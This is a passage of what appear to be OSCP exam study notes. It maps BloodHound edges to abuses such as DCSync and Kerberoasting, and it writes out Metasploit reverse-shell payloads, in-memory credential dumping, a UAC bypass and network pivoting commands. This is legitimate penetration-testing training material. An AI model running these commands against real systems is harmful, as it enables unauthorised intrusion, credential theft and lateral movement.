Exam pattern: **one exposed foothold box → local priv-esc (usually SeImpersonate) → dump creds → pivot (Ligolo) → spray hashes across the /24 → the hash that's admin on the DC wins.**

BloodHound edge → abuse:

Edge	Abuse
`DONT_REQ_PREAUTH`	AS-REP roast
SPN on user	Kerberoast
`ForceChangePassword`	reset password
`GenericAll` / `GenericWrite` (user)	targeted Kerberoast / reset
`GenericAll` (group)	add self as member

Edge	Abuse
`GenericWrite` (computer)	RBCD → S4U
`WriteDACL` (domain)	grant DCSync
`AllowedToDelegate`	constrained delegation S4U
vuln cert template	ADCS ESC1-8
`Backup Operators` / `DnsAdmins`	known group → DA paths

Per-box teaching point (study aid): Sauna=ASREPRoast · Active=GPP Groups.xml · Forest=ASREPRoast → DCSync · Cascade=LDAP+VNC decrypt · Blackfield=forced-change → backup-operators. Pattern-recognition is what the exam tests.

---

15. Metasploit (one exam target only)

```
sudo msfdb init ; sudo msfconsole
```

```
workspace -a oscp
db_nmap -A $IP            # results → hosts / services
search type:auxiliary smb
# Exploit + payload
use <module> ; set RHOSTS $IP ; set payload windows/x64/meterpreter/reverse_tcp
set LHOST tun0 ; set LPORT 443 ; run
sessions -l ; sessions -i 1
# Multi/handler for a manual msfvenom payload
use multi/handler ; set payload windows/x64/shell_reverse_tcp ; set LHOST tun0 ; set
LPORT 443 ; run
```

```
# Payloads
msfvenom -l payloads --platform windows --arch x64
msfvenom -p windows/x64/shell_reverse_tcp LHOST=tun0 LPORT=443 -f exe -o rev.exe
```

Post-exploitation:

```
getuid ; getsystem ; migrate <pid>       # SeImpersonate/SeDebug → SYSTEM
load kiwi ; creds_msv                     # in-memory mimikatz
search UAC ; use exploit/windows/local/bypassuac_sdclt ; set SESSION 1 ; run
```

Pivoting through a session:

```
run autoroute -s 172.16.5.0/24           # or: use multi/manage/autoroute ; set
session 1 ; run
use auxiliary/scanner/portscan/tcp ; set RHOSTS 172.16.5.200 ; set PORTS 445,3389 ;
run
use auxiliary/server/socks_proxy ; set SRVHOST 127.0.0.1 ; set VERSION 5 ; run -j   #
→ proxychains
portfwd add -l 3389 -p 3389 -r 172.16.5.200
```

---

16. Exam workflow reminders

- Methodical loop: full port scan → enumerate **every** service → exploit → loot → privesc → proof + screenshots.
- Screenshot `whoami` + `ip a` / `ipconfig` with **every** local.txt / proof.txt.
- Manual-first; Metasploit on only one target.
- Stuck 30+ min → re-enumerate, you missed something.
- Information re-use: every cred/key/hash/wordlist goes back to services already seen.